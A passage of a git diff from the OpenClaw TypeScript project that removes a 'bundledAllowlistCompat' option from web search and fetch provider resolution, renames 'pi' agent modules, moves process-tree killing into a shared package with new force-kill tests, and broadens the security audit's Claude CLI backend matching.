onlyPluginIds: ["blocked-search", "fallback-search"], @@ -123,6 +122,35 @@ describe("web provider public artifact manifest fallback", () => { }); }); + it("keeps deprecated bundledDiscovery compat discovery outside plugin allowlists", () => { + const resolveExplicitWebSearchProviders = + mocks.resolveBundledExplicitWebSearchProvidersFromPublicArtifacts as unknown as { + mockImplementation: ( + implementation: (params: { + onlyPluginIds: readonly string[]; + }) => { id: string; pluginId: string }[], + ) => void; + }; + resolveExplicitWebSearchProviders.mockImplementation((params) => + params.onlyPluginIds.map((pluginId) => ({ id: pluginId, pluginId })), + ); + + const providers = resolveBundledWebSearchProvidersFromPublicArtifacts({ + config: { + plugins: { + allow: ["some-other-plugin"], + bundledDiscovery: "compat", + }, + }, + onlyPluginIds: ["fallback-search"], + }); + + expect(providers).toEqual([{ id: "fallback-search", pluginId: "fallback-search" }]); + expect(mocks.resolveBundledExplicitWebSearchProvidersFromPublicArtifacts).toHaveBeenCalledWith({ + onlyPluginIds: ["fallback-search"], + }); + }); + it("keeps manifest bundled web-fetch public artifact candidates inside allowlist discovery", () => { mocks.loadPluginMetadataSnapshot.mockReturnValueOnce({ diagnostics: [], @@ -146,7 +174,6 @@ describe("web provider public artifact manifest fallback", () => { config: { plugins: { allow: ["fallback-fetch"], - bundledDiscovery: "allowlist", }, }, }); @@ -180,7 +207,6 @@ describe("web provider public artifact manifest fallback", () => { config: { plugins: { allow: ["google-gemini-cli"], - bundledDiscovery: "allowlist", }, }, }); diff --git a/src/plugins/web-provider-public-artifacts.ts b/src/plugins/web-provider-public-artifacts.ts index 8e1687f79a9..676694916de 100644 --- a/src/plugins/web-provider-public-artifacts.ts +++ b/src/plugins/web-provider-public-artifacts.ts @@ -19,7 +19,6 @@ type BundledWebProviderPublicArtifactParams = { config?: PluginLoadOptions["config"]; workspaceDir?: string; env?: PluginLoadOptions["env"]; - bundledAllowlistCompat?: boolean; onlyPluginIds?: readonly string[]; }; @@ -32,12 +31,13 @@ function filterAllowlistedBundledPluginIds( config: PluginLoadOptions["config"] | undefined, pluginIds: readonly string[], ) { + // Deprecated shipped compat marker: old allowlist configs used this to keep + // bundled web provider discovery available while plugin IDs were tightened. + if (config?.plugins?.bundledDiscovery === "compat") { + return [...pluginIds]; + } const allow = config?.plugins?.allow; - if ( - config?.plugins?.bundledDiscovery === "compat" || - !Array.isArray(allow) || - allow.length === 0 - ) { + if (!Array.isArray(allow) || allow.length === 0) { return [...pluginIds]; } const allowedPluginIds = new Set( @@ -52,7 +52,6 @@ function resolveBundledCandidatePluginIds(params: { config?: PluginLoadOptions["config"]; workspaceDir?: string; env?: PluginLoadOptions["env"]; - bundledAllowlistCompat?: boolean; onlyPluginIds?: readonly string[]; }): BundledCandidateResolution { if (params.onlyPluginIds !== undefined) { @@ -112,7 +111,6 @@ export function resolveBundledWebSearchProvidersFromPublicArtifacts( config: params.config, workspaceDir: params.workspaceDir, env: params.env, - bundledAllowlistCompat: params.bundledAllowlistCompat, onlyPluginIds: params.onlyPluginIds, }); if (pluginIds.pluginIds.length === 0) { @@ -158,7 +156,6 @@ export function resolveBundledWebFetchProvidersFromPublicArtifacts( config: params.config, workspaceDir: params.workspaceDir, env: params.env, - bundledAllowlistCompat: params.bundledAllowlistCompat, onlyPluginIds: params.onlyPluginIds, }); if (pluginIds.pluginIds.length === 0) { diff --git a/src/plugins/web-provider-resolution-shared.ts b/src/plugins/web-provider-resolution-shared.ts index ff647ed675a..ecc345dc175 100644 --- a/src/plugins/web-provider-resolution-shared.ts +++ b/src/plugins/web-provider-resolution-shared.ts @@ -148,7 +148,6 @@ export function resolveBundledWebProviderResolutionConfig(params: { config?: PluginLoadOptions["config"]; workspaceDir?: string; env?: PluginLoadOptions["env"]; - bundledAllowlistCompat?: boolean; }): { config: PluginLoadOptions["config"]; activationSourceConfig?: PluginLoadOptions["config"]; @@ -160,7 +159,6 @@ export function resolveBundledWebProviderResolutionConfig(params: { workspaceDir: params.workspaceDir, applyAutoEnable: true, compatMode: { - allowlist: params.config === undefined ? false : params.bundledAllowlistCompat, enablement: "always", vitest: params.config !== undefined, }, diff --git a/src/plugins/web-provider-runtime-shared.ts b/src/plugins/web-provider-runtime-shared.ts index b73e10e7d92..b663fe62d75 100644 --- a/src/plugins/web-provider-runtime-shared.ts +++ b/src/plugins/web-provider-runtime-shared.ts @@ -15,7 +15,6 @@ export type ResolvePluginWebProvidersParams = { config?: PluginLoadOptions["config"]; workspaceDir?: string; env?: PluginLoadOptions["env"]; - bundledAllowlistCompat?: boolean; onlyPluginIds?: readonly string[]; activate?: boolean; cache?: boolean; @@ -28,7 +27,6 @@ type ResolveWebProviderRuntimeDeps = { config?: PluginLoadOptions["config"]; workspaceDir?: string; env?: PluginLoadOptions["env"]; - bundledAllowlistCompat?: boolean; }) => { config: PluginLoadOptions["config"]; activationSourceConfig?: PluginLoadOptions["config"]; @@ -49,7 +47,6 @@ type ResolveWebProviderRuntimeDeps = { config?: PluginLoadOptions["config"]; workspaceDir?: string; env?: PluginLoadOptions["env"]; - bundledAllowlistCompat?: boolean; onlyPluginIds?: readonly string[]; }) => TEntry[] | null; }; @@ -78,8 +75,7 @@ function resolveWebProviderRuntimeContext( const shouldFilterProviders = params.config !== undefined || params.onlyPluginIds !== undefined || - params.origin !== undefined || - params.bundledAllowlistCompat === true; + params.origin !== undefined; const { config, activationSourceConfig, autoEnabledReasons } = deps.resolveBundledResolutionConfig({ ...params, @@ -95,14 +91,13 @@ function resolveWebProviderRuntimeContext( origin: params.origin, }), ); - const onlyPluginIds = shouldFilterProviders ? candidatePluginIds : undefined; return { activationSourceConfig, autoEnabledReasons, config, env, loadPluginIds: candidatePluginIds, - onlyPluginIds, + onlyPluginIds: shouldFilterProviders ? candidatePluginIds : undefined, workspaceDir, }; } @@ -172,7 +167,6 @@ export function resolvePluginWebProviders( config: params.config, workspaceDir, env, - bundledAllowlistCompat: params.bundledAllowlistCompat, onlyPluginIds: pluginIds, }); if (bundledArtifactProviders) { diff --git a/src/plugins/web-search-credential-presence.test.ts b/src/plugins/web-search-credential-presence.test.ts index 8bd0ddbb07a..cd7f4f72981 100644 --- a/src/plugins/web-search-credential-presence.test.ts +++ b/src/plugins/web-search-credential-presence.test.ts @@ -29,7 +29,6 @@ describe("hasConfiguredWebSearchCredential", () => { config: {} as OpenClawConfig, env: {}, origin: "bundled", - bundledAllowlistCompat: true, }), ).toBe(false); }); @@ -42,7 +41,6 @@ describe("hasConfiguredWebSearchCredential", () => { } as OpenClawConfig, env: {}, origin: "bundled", - bundledAllowlistCompat: true, }), ).toBe(true); }); diff --git a/src/plugins/web-search-credential-presence.ts b/src/plugins/web-search-credential-presence.ts index c5988f59d90..90647ab02e4 100644 --- a/src/plugins/web-search-credential-presence.ts +++ b/src/plugins/web-search-credential-presence.ts @@ -52,13 +52,11 @@ function hasManifestWebSearchEnvCredentialCandidate(params: { if ((plugin.contracts?.webSearchProviders?.length ?? 0) === 0) { return false; } - const providerAuthEnvVars = plugin.providerAuthEnvVars; - if (!providerAuthEnvVars) { - return false; - } - return Object.values(providerAuthEnvVars) - .flat() - .some((envVar) => hasConfiguredCredentialValue(env[envVar])); + const envVars = [ + ...(plugin.setup?.providers ?? []).flatMap((provider) => provider.envVars ?? []), + ...Object.values(plugin.providerAuthEnvVars ?? {}).flat(), + ]; + return envVars.some((envVar) => hasConfiguredCredentialValue(env[envVar])); }); } @@ -67,7 +65,6 @@ export function hasConfiguredWebSearchCredential(params: { env?: NodeJS.ProcessEnv; searchConfig?: Record; origin?: PluginManifestRecord["origin"]; - bundledAllowlistCompat?: boolean; }): boolean { const searchConfig = params.searchConfig ?? diff --git a/src/plugins/web-search-providers.runtime.test.ts b/src/plugins/web-search-providers.runtime.test.ts index 2055d578b71..87ac5625d44 100644 --- a/src/plugins/web-search-providers.runtime.test.ts +++ b/src/plugins/web-search-providers.runtime.test.ts @@ -120,13 +120,11 @@ function createWebSearchEnv(overrides?: Partial) { function createSnapshotParams(params?: { config?: { plugins?: Record }; env?: NodeJS.ProcessEnv; - bundledAllowlistCompat?: boolean; workspaceDir?: string; }) { return { config: params?.config ?? createBraveAllowConfig(), env: params?.env ?? createWebSearchEnv(), - bundledAllowlistCompat: params?.bundledAllowlistCompat ?? true, workspaceDir: params?.workspaceDir ?? DEFAULT_WEB_SEARCH_WORKSPACE, }; } @@ -330,7 +328,6 @@ function createActiveBraveRegistryFixture(params?: { const { config, activationSourceConfig, autoEnabledReasons } = webSearchProvidersSharedModule.resolveBundledWebSearchResolutionConfig({ config: rawConfig, - bundledAllowlistCompat: true, ...(params?.includeResolutionWorkspaceDir ? { workspaceDir: DEFAULT_WEB_SEARCH_WORKSPACE } : {}), @@ -516,10 +513,8 @@ describe("resolvePluginWebSearchProviders", () => { config: { plugins: { allow: ["brave"], - bundledDiscovery: "allowlist", }, }, - bundledAllowlistCompat: true, env: createWebSearchEnv(), workspaceDir: DEFAULT_WEB_SEARCH_WORKSPACE, }); @@ -529,7 +524,6 @@ describe("resolvePluginWebSearchProviders", () => { const loaderParams = requireLastCallFirstArg(loadOpenClawPluginsMock, "loadOpenClawPlugins"); expect(requirePluginsConfig(loaderParams)).toEqual({ allow: ["brave"], - bundledDiscovery: "allowlist", entries: { brave: { enabled: true } }, }); }); @@ -547,7 +541,6 @@ describe("resolvePluginWebSearchProviders", () => { resolvePluginWebSearchProviders({ config: rawConfig, - bundledAllowlistCompat: true, env, }); @@ -565,7 +558,6 @@ describe("resolvePluginWebSearchProviders", () => { const providers = resolvePluginWebSearchProviders({ config: rawConfig, - bundledAllowlistCompat: true, workspaceDir: DEFAULT_WEB_SEARCH_WORKSPACE, env, }); @@ -582,7 +574,6 @@ describe("resolvePluginWebSearchProviders", () => { const providers = resolvePluginWebSearchProviders({ config: rawConfig, - bundledAllowlistCompat: true, env, }); @@ -597,14 +588,12 @@ describe("resolvePluginWebSearchProviders", () => { setActivePluginRegistry(createEmptyPluginRegistry(), undefined, "default", "/tmp/workspace-a"); resolvePluginWebSearchProviders({ config: rawConfig, - bundledAllowlistCompat: true, env, }); setActivePluginRegistry(createEmptyPluginRegistry(), undefined, "default", "/tmp/workspace-b"); resolvePluginWebSearchProviders({ config: rawConfig, - bundledAllowlistCompat: true, env, }); @@ -689,7 +678,6 @@ describe("resolvePluginWebSearchProviders", () => { const { env, rawConfig } = createActiveBraveRegistryFixture(); return { config: rawConfig, - bundledAllowlistCompat: true, workspaceDir: DEFAULT_WEB_SEARCH_WORKSPACE, env, }; diff --git a/src/plugins/web-search-providers.runtime.ts b/src/plugins/web-search-providers.runtime.ts index 2f6200af360..fb30e6b62de 100644 --- a/src/plugins/web-search-providers.runtime.ts +++ b/src/plugins/web-search-providers.runtime.ts @@ -49,7 +49,6 @@ export function resolvePluginWebSearchProviders(params: { config?: PluginLoadOptions["config"]; workspaceDir?: string; env?: PluginLoadOptions["env"]; - bundledAllowlistCompat?: boolean; onlyPluginIds?: readonly string[]; activate?: boolean; cache?: boolean; @@ -68,7 +67,6 @@ export function resolveRuntimeWebSearchProviders(params: { config?: PluginLoadOptions["config"]; workspaceDir?: string; env?: PluginLoadOptions["env"]; - bundledAllowlistCompat?: boolean; onlyPluginIds?: readonly string[]; origin?: PluginManifestRecord["origin"]; }): PluginWebSearchProviderEntry[] { diff --git a/src/plugins/web-search-providers.shared.ts b/src/plugins/web-search-providers.shared.ts index fa836792eab..6b0d49d17e5 100644 --- a/src/plugins/web-search-providers.shared.ts +++ b/src/plugins/web-search-providers.shared.ts @@ -22,7 +22,6 @@ export function resolveBundledWebSearchResolutionConfig(params: { config?: PluginLoadOptions["config"]; workspaceDir?: string; env?: PluginLoadOptions["env"]; - bundledAllowlistCompat?: boolean; }): { config: PluginLoadOptions["config"]; activationSourceConfig?: PluginLoadOptions["config"]; @@ -33,6 +32,5 @@ export function resolveBundledWebSearchResolutionConfig(params: { config: params.config, workspaceDir: params.workspaceDir, env: params.env, - bundledAllowlistCompat: params.bundledAllowlistCompat, }); } diff --git a/src/plugins/wired-hooks-after-tool-call.e2e.test.ts b/src/plugins/wired-hooks-after-tool-call.e2e.test.ts index a45b8e89863..cb828720e44 100644 --- a/src/plugins/wired-hooks-after-tool-call.e2e.test.ts +++ b/src/plugins/wired-hooks-after-tool-call.e2e.test.ts @@ -1,8 +1,8 @@ import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; /** - * Test: after_tool_call hook wiring (pi-embedded-subscribe.handlers.tools.ts) + * Test: after_tool_call hook wiring (embedded-agent-subscribe.handlers.tools.ts) */ -import { createBaseToolHandlerState } from "../agents/pi-tool-handler-state.test-helpers.js"; +import { createBaseToolHandlerState } from "../agents/agent-tool-handler-state.test-helpers.js"; const hookMocks = vi.hoisted(() => ({ runner: { @@ -99,13 +99,13 @@ function expectAfterToolCallPayload(params: { expect(context).toEqual(params.expectedContext); } -let handleToolExecutionStart: typeof import("../agents/pi-embedded-subscribe.handlers.tools.js").handleToolExecutionStart; -let handleToolExecutionEnd: typeof import("../agents/pi-embedded-subscribe.handlers.tools.js").handleToolExecutionEnd; +let handleToolExecutionStart: typeof import("../agents/embedded-agent-subscribe.handlers.tools.js").handleToolExecutionStart; +let handleToolExecutionEnd: typeof import("../agents/embedded-agent-subscribe.handlers.tools.js").handleToolExecutionEnd; describe("after_tool_call hook wiring", () => { beforeAll(async () => { ({ handleToolExecutionStart, handleToolExecutionEnd } = - await import("../agents/pi-embedded-subscribe.handlers.tools.js")); + await import("../agents/embedded-agent-subscribe.handlers.tools.js")); }); beforeEach(() => { diff --git a/src/plugins/wired-hooks-compaction.test.ts b/src/plugins/wired-hooks-compaction.test.ts index c84177794d5..0524bf6f513 100644 --- a/src/plugins/wired-hooks-compaction.test.ts +++ b/src/plugins/wired-hooks-compaction.test.ts @@ -24,7 +24,7 @@ vi.mock("../infra/agent-events.js", () => ({ import { handleCompactionEnd, handleCompactionStart, -} from "../agents/pi-embedded-subscribe.handlers.compaction.js"; +} from "../agents/embedded-agent-subscribe.handlers.compaction.js"; describe("compaction hook wiring", () => { beforeEach(() => { diff --git a/src/process/exec.ts b/src/process/exec.ts index 514b8a7a618..cd91e178a32 100644 --- a/src/process/exec.ts +++ b/src/process/exec.ts @@ -351,7 +351,7 @@ export async function runCommandWithTimeout( ? { shell: true } : {}), }); - // Spawn with inherited stdin (TTY) so tools like `pi` stay interactive when needed. + // Spawn with inherited stdin (TTY) so interactive tools stay usable when needed. return await new Promise((resolve, reject) => { const stdoutChunks: Buffer[] = []; const stderrChunks: Buffer[] = []; diff --git a/src/process/kill-tree.test.ts b/src/process/kill-tree.test.ts index 599ec450a72..f749ca8fdee 100644 --- a/src/process/kill-tree.test.ts +++ b/src/process/kill-tree.test.ts @@ -127,6 +127,19 @@ describe("killProcessTree", () => { }); }); + it("on Unix force-kills synchronously without SIGTERM or delayed escalation", async () => { + killSpy.mockImplementation(() => true); + + await withMockedPlatform("linux", async () => { + killProcessTree(4949, { force: true }); + await vi.advanceTimersByTimeAsync(60_000); + + expect(killSpy).toHaveBeenCalledTimes(1); + expect(killSpy).toHaveBeenCalledWith(-4949, "SIGKILL"); + expect(killSpy).not.toHaveBeenCalledWith(-4949, "SIGTERM"); + }); + }); + it("on Unix force-kills a live detached group even after the parent pid exits", async () => { killSpy.mockImplementation(((pid: number, signal?: NodeJS.Signals | number) => { if (pid === -4545 && signal === 0) { @@ -213,4 +226,14 @@ describe("killProcessTree", () => { expectTaskkillCall(1, ["/F", "/T", "/PID", "8888"]); }); }); + + it("on Windows force-kills synchronously without delayed taskkill", async () => { + await withMockedPlatform("win32", async () => { + killProcessTree(9999, { force: true }); + await vi.advanceTimersByTimeAsync(60_000); + + expect(spawnMock).toHaveBeenCalledTimes(1); + expectTaskkillCall(0, ["/F", "/T", "/PID", "9999"]); + }); + }); }); diff --git a/src/process/kill-tree.ts b/src/process/kill-tree.ts index 6caf0b6ee31..a56c4b91f25 100644 --- a/src/process/kill-tree.ts +++ b/src/process/kill-tree.ts @@ -1,135 +1,5 @@ -import { spawn } from "node:child_process"; - -const DEFAULT_GRACE_MS = 3000; -const MAX_GRACE_MS = 60_000; - -/** - * Best-effort process-tree termination with graceful shutdown. - * - Windows: use taskkill /T to include descendants. Sends SIGTERM-equivalent - * first (without /F), then force-kills if process survives. - * - Unix: send SIGTERM to process group first, wait grace period, then SIGKILL. - * - * This gives child processes a chance to clean up (close connections, remove - * temp files, terminate their own children) before being hard-killed. - * - * When the child was spawned with `detached: false` (e.g. service-managed - * runtime under launchd/systemd), pass `detached: false` to skip the Unix - * `process.kill(-pid, ...)` group-kill — it would otherwise target the - * gateway's own process group and SIGTERM the gateway itself. (#71662) - */ -export function killProcessTree( - pid: number, - opts?: { graceMs?: number; detached?: boolean }, -): void { - if (!Number.isFinite(pid) || pid <= 0) { - return; - } - - const graceMs = normalizeGraceMs(opts?.graceMs); - - if (process.platform === "win32") { - killProcessTreeWindows(pid, graceMs); - return; - } - - const useGroupKill = opts?.detached !== false; - signalProcessTreeUnix(pid, "SIGTERM", useGroupKill); - setTimeout(() => { - const stillAlive = useGroupKill - ? isProcessAlive(-pid) || isProcessAlive(pid) - : isProcessAlive(pid); - if (!stillAlive) { - return; - } - signalProcessTreeUnix(pid, "SIGKILL", useGroupKill); - }, graceMs).unref(); // Don't block event loop exit -} - -export function signalProcessTree( - pid: number, - signal: "SIGTERM" | "SIGKILL", - opts?: { detached?: boolean }, -): void { - if (!Number.isFinite(pid) || pid <= 0) { - return; - } - - if (process.platform === "win32") { - signalProcessTreeWindows(pid, signal); - return; - } - - signalProcessTreeUnix(pid, signal, opts?.detached !== false); -} - -function normalizeGraceMs(value?: number): number { - if (typeof value !== "number" || !Number.isFinite(value)) { - return DEFAULT_GRACE_MS; - } - return Math.max(0, Math.min(MAX_GRACE_MS, Math.floor(value))); -} - -function isProcessAlive(pid: number): boolean { - try { - process.kill(pid, 0); - return true; - } catch { - return false; - } -} - -function signalProcessTreeUnix( - pid: number, - signal: "SIGTERM" | "SIGKILL", - useGroupKill: boolean, -): void { - // Prefer process-group signals (`-pid`) when the child was spawned detached - // so it has its own group; otherwise stick to the direct pid to avoid - // signaling our own process group (the gateway). (#71662) - if (useGroupKill) { - try { - process.kill(-pid, signal); - return; - } catch { - // Process group doesn't exist or we lack permission - try direct. - } - } - - try { - process.kill(pid, signal); - } catch { - // Already gone - } -} - -function runTaskkill(args: string[]): void { - try { - spawn("taskkill", args, { - stdio: "ignore", - detached: true, - windowsHide: true, - }); - } catch { - // Ignore taskkill spawn failures - } -} - -function killProcessTreeWindows(pid: number, graceMs: number): void { - // Step 1: Try graceful termination (taskkill without /F) - signalProcessTreeWindows(pid, "SIGTERM"); - - // Step 2: Wait grace period, then force kill only if pid still exists. - // This avoids unconditional delayed /F kills after graceful shutdown. - setTimeout(() => { - if (!isProcessAlive(pid)) { - return; - } - signalProcessTreeWindows(pid, "SIGKILL"); - }, graceMs).unref(); // Don't block event loop exit -} - -function signalProcessTreeWindows(pid: number, signal: "SIGTERM" | "SIGKILL"): void { - const args = - signal === "SIGKILL" ? ["/F", "/T", "/PID", String(pid)] : ["/T", "/PID", String(pid)]; - runTaskkill(args); -} +export { + killProcessTree, + signalProcessTree, + type KillProcessTreeOptions, +} from "../../packages/agent-core/src/harness/env/kill-tree.js"; diff --git a/src/scripts/control-ui-i18n.test.ts b/src/scripts/control-ui-i18n.test.ts index e106a208286..162ced5c017 100644 --- a/src/scripts/control-ui-i18n.test.ts +++ b/src/scripts/control-ui-i18n.test.ts @@ -1,12 +1,8 @@ -import { mkdir, mkdtemp, readFile, rm, writeFile } from "node:fs/promises"; -import { tmpdir } from "node:os"; -import path from "node:path"; import { describe, expect, it } from "vitest"; import { - DEFAULT_PI_PACKAGE_VERSION, findPlaceholderMismatches, isProviderAuthError, - resolveLocalPiCommand, + resolveTranslationModel, } from "../../scripts/control-ui-i18n.ts"; describe("control-ui-i18n placeholder validation", () => { @@ -42,38 +38,12 @@ describe("control-ui-i18n placeholder validation", () => { }); }); -describe("control-ui-i18n pi runtime resolution", () => { - it("keeps the fallback pi package version aligned with the workspace dependency", async () => { - const packageJson = JSON.parse(await readFile("package.json", "utf8")) as { - dependencies?: Record; - }; - - expect(DEFAULT_PI_PACKAGE_VERSION).toBe( - packageJson.dependencies?.["@earendil-works/pi-coding-agent"], - ); - }); - - it("uses the workspace pi runtime before falling back to npm installation", async () => { - const root = await mkdtemp(path.join(tmpdir(), "openclaw-control-ui-i18n-")); - try { - const cliPath = path.join( - root, - "node_modules", - "@earendil-works", - "pi-coding-agent", - "dist", - "cli.js", - ); - await mkdir(path.dirname(cliPath), { recursive: true }); - await writeFile(cliPath, "#!/usr/bin/env node\n", "utf8"); - - expect(resolveLocalPiCommand(root)).toEqual({ - executable: "node", - args: [cliPath], - }); - } finally { - await rm(root, { force: true, recursive: true }); - } +describe("control-ui-i18n translation runtime resolution", () => { + it("uses the in-tree OpenClaw LLM model catalog", () => { + expect(resolveTranslationModel()).toMatchObject({ + id: "gpt-5.5", + provider: "openai", + }); }); }); diff --git a/src/scripts/test-projects.test.ts b/src/scripts/test-projects.test.ts index 8c729ae440a..3524a80e16f 100644 --- a/src/scripts/test-projects.test.ts +++ b/src/scripts/test-projects.test.ts @@ -1078,7 +1078,7 @@ describe("test-projects args", () => { expect( findUnmatchedExplicitTestTargets([ "test/vitest/vitest.agents-core.config.ts", - "test/vitest/vitest.agents-pi-embedded.config.ts", + "test/vitest/vitest.agents-embedded-agent.config.ts", "test/vitest/vitest.agents-support.config.ts", "test/vitest/vitest.agents-tools.config.ts", ]), diff --git a/src/secrets/runtime-fast-path.ts b/src/secrets/runtime-fast-path.ts index f1a37efd0a0..b67dd371206 100644 --- a/src/secrets/runtime-fast-path.ts +++ b/src/secrets/runtime-fast-path.ts @@ -32,7 +32,6 @@ const RUNTIME_PATH_ENV_KEYS = [ "OPENCLAW_STATE_DIR", "OPENCLAW_CONFIG_PATH", "OPENCLAW_AGENT_DIR", - "PI_CODING_AGENT_DIR", "OPENCLAW_TEST_FAST", ] as const; diff --git a/src/secrets/runtime-web-tools.test.ts b/src/secrets/runtime-web-tools.test.ts index 605eccb02e0..f664d2bca47 100644 --- a/src/secrets/runtime-web-tools.test.ts +++ b/src/secrets/runtime-web-tools.test.ts @@ -1373,7 +1373,7 @@ describe("runtime web tools resolution", () => { expect(metadata.search.selectedProvider).toBe("brave"); expect(resolveBundledWebSearchProvidersFromPublicArtifactsMock).not.toHaveBeenCalled(); - expect(firstMockArg(resolvePluginWebSearchProvidersMock).bundledAllowlistCompat).toBe(true); + expect(firstMockArg(resolvePluginWebSearchProvidersMock).config).toBeDefined(); }); it("uses bundled public artifacts for bundled web fetch provider discovery", async () => { @@ -1422,7 +1422,7 @@ describe("runtime web tools resolution", () => { expect(metadata.fetch.selectedProvider).toBe("firecrawl"); expect(resolveBundledWebFetchProvidersFromPublicArtifactsMock).not.toHaveBeenCalled(); - expect(firstMockArg(resolvePluginWebFetchProvidersMock).bundledAllowlistCompat).toBe(true); + expect(firstMockArg(resolvePluginWebFetchProvidersMock).origin).toBe("bundled"); }); it("uses env fallback for unresolved web fetch provider SecretRef when active", async () => { diff --git a/src/secrets/runtime-web-tools.ts b/src/secrets/runtime-web-tools.ts index ace4c687fbd..a2a58956b1e 100644 --- a/src/secrets/runtime-web-tools.ts +++ b/src/secrets/runtime-web-tools.ts @@ -392,7 +392,6 @@ async function resolveBundledWebSearchProviders(params: { return resolvePluginWebSearchProviders({ config: params.sourceConfig, env, - bundledAllowlistCompat: true, onlyPluginIds, origin: "bundled", }); @@ -403,7 +402,6 @@ async function resolveBundledWebSearchProviders(params: { const bundled = resolveBundledWebSearchProvidersFromPublicArtifacts({ config: params.sourceConfig, env, - bundledAllowlistCompat: true, }); if (bundled && bundled.length > 0) { return bundled; @@ -412,7 +410,6 @@ async function resolveBundledWebSearchProviders(params: { return resolvePluginWebSearchProviders({ config: params.sourceConfig, env, - bundledAllowlistCompat: true, origin: "bundled", }); } @@ -420,7 +417,6 @@ async function resolveBundledWebSearchProviders(params: { return resolvePluginWebSearchProviders({ config: params.sourceConfig, env, - bundledAllowlistCompat: true, }); } @@ -442,7 +438,6 @@ async function resolveBundledWebFetchProviders(params: { return resolvePluginWebFetchProviders({ config: params.sourceConfig, env, - bundledAllowlistCompat: true, onlyPluginIds: [params.configuredBundledPluginId], origin: "bundled", }); @@ -453,7 +448,6 @@ async function resolveBundledWebFetchProviders(params: { const bundled = resolveBundledWebFetchProvidersFromPublicArtifacts({ config: params.sourceConfig, env, - bundledAllowlistCompat: true, }); if (bundled && bundled.length > 0) { return bundled; @@ -462,7 +456,6 @@ async function resolveBundledWebFetchProviders(params: { return resolvePluginWebFetchProviders({ config: params.sourceConfig, env, - bundledAllowlistCompat: true, origin: "bundled", }); } @@ -470,7 +463,6 @@ async function resolveBundledWebFetchProviders(params: { return resolvePluginWebFetchProviders({ config: params.sourceConfig, env, - bundledAllowlistCompat: true, origin: "bundled", }); } diff --git a/src/secrets/storage-scan.ts b/src/secrets/storage-scan.ts index 6d1d46bab9d..d1d3a3f4378 100644 --- a/src/secrets/storage-scan.ts +++ b/src/secrets/storage-scan.ts @@ -37,7 +37,7 @@ export function listLegacyAuthJsonPaths(stateDir: string): string[] { function resolveActiveAgentDir(stateDir: string, env: NodeJS.ProcessEnv = process.env): string { const override = env.OPENCLAW_AGENT_DIR?.trim() || env.PI_CODING_AGENT_DIR?.trim(); if (override) { - return resolveUserPath(override); + return resolveUserPath(override, env); } return path.join(resolveUserPath(stateDir), "agents", "main", "agent"); } diff --git a/src/security/audit-extra.summary.ts b/src/security/audit-extra.summary.ts index 424791b7554..bfbb3d758ff 100644 --- a/src/security/audit-extra.summary.ts +++ b/src/security/audit-extra.summary.ts @@ -1,5 +1,5 @@ +import { resolveProviderToolPolicy } from "../agents/agent-tools.policy.js"; import { parseModelRef } from "../agents/model-selection-normalize.js"; -import { resolveProviderToolPolicy } from "../agents/pi-tools.policy.js"; import { resolveSandboxConfigForAgent } from "../agents/sandbox/config.js"; import { resolveSandboxToolPolicyForAgent } from "../agents/sandbox/tool-policy.js"; import type { SandboxToolPolicy } from "../agents/sandbox/types.js"; @@ -112,7 +112,6 @@ function hasWebSearchKey(cfg: OpenClawConfig, env: NodeJS.ProcessEnv): boolean { config: cfg, env, origin: "bundled", - bundledAllowlistCompat: true, }); } diff --git a/src/security/audit.ts b/src/security/audit.ts index 3a6735c3b07..6eded11a545 100644 --- a/src/security/audit.ts +++ b/src/security/audit.ts @@ -643,7 +643,13 @@ function findClaudeCliBackendConfig( return backends[directKey]; } for (const [key, backend] of Object.entries(backends)) { - if (normalizeProviderId(key) === "claude-cli") { + const normalizedKey = normalizeProviderId(key); + const command = normalizeOptionalLowercaseString(backend.command); + if ( + normalizedKey === "claude-cli" || + normalizedKey === "anthropic-cli" || + command === "claude" + ) { return backend; } } diff --git a/src/sessions/input-provenance.ts b/src/sessions/input-provenance.ts index 0b15c4efeaf..aa7e4320b6b 100644 --- a/src/sessions/input-provenance.ts +++ b/src/sessions/input-provenance.ts @@ -1,4 +1,4 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; +import type { AgentMessage } from "../agents/runtime/index.js"; import { normalizeOptionalString } from "../shared/string-coerce.js"; export const INPUT_PROVENANCE_KIND_VALUES = [ diff --git a/src/sessions/user-turn-transcript.ts b/src/sessions/user-turn-transcript.ts index 17a4bb4a275..21edc52a55b 100644 --- a/src/sessions/user-turn-transcript.ts +++ b/src/sessions/user-turn-transcript.ts @@ -1,5 +1,5 @@ import path from "node:path"; -import type { AgentMessage } from "@earendil-works/pi-agent-core"; +import type { AgentMessage } from "../agents/runtime/index.js"; import { appendSessionTranscriptMessage } from "../config/sessions/transcript-append.js"; import { mimeTypeFromFilePath } from "../media/mime.js"; import { diff --git a/src/shared/google-turn-ordering.ts b/src/shared/google-turn-ordering.ts index db6192f2bfa..3336901b3fc 100644 --- a/src/shared/google-turn-ordering.ts +++ b/src/shared/google-turn-ordering.ts @@ -1,4 +1,4 @@ -import type { AgentMessage } from "@earendil-works/pi-agent-core"; +import type { AgentMessage } from "../agents/runtime/index.js"; const GOOGLE_TURN_ORDER_BOOTSTRAP_TEXT = "(session bootstrap)"; diff --git a/src/shared/node-match.test.ts b/src/shared/node-match.test.ts index 03c093cca9e..5fa6103483c 100644 --- a/src/shared/node-match.test.ts +++ b/src/shared/node-match.test.ts @@ -19,7 +19,7 @@ describe("shared/node-match", () => { expect(resolveNodeMatches(nodes, "mac studio")).toEqual([nodes[0]]); expect(resolveNodeMatches(nodes, " Mac---Studio!! ")).toEqual([nodes[0]]); expect(resolveNodeMatches(nodes, "pi-456")).toEqual([nodes[1]]); - expect(resolveNodeMatches(nodes, "pi")).toStrictEqual([]); + expect(resolveNodeMatches(nodes, "openclaw")).toStrictEqual([]); expect(resolveNodeMatches(nodes, " ")).toStrictEqual([]); }); diff --git a/src/shared/schema-keyword-strip.ts b/src/shared/schema-keyword-strip.ts new file mode 100644 index 00000000000..0eb58b33902 --- /dev/null +++ b/src/shared/schema-keyword-strip.ts @@ -0,0 +1,41 @@ +export function stripUnsupportedSchemaKeywords( + schema: unknown, + unsupportedKeywords: ReadonlySet, +): unknown { + if (!schema || typeof schema !== "object") { + return schema; + } + if (Array.isArray(schema)) { + return schema.map((entry) => stripUnsupportedSchemaKeywords(entry, unsupportedKeywords)); + } + const obj = schema as Record; + const cleaned: Record = {}; + for (const [key, value] of Object.entries(obj)) { + if (unsupportedKeywords.has(key)) { + continue; + } + if (key === "properties" && value && typeof value === "object" && !Array.isArray(value)) { + cleaned[key] = Object.fromEntries( + Object.entries(value as Record).map(([childKey, childValue]) => [ + 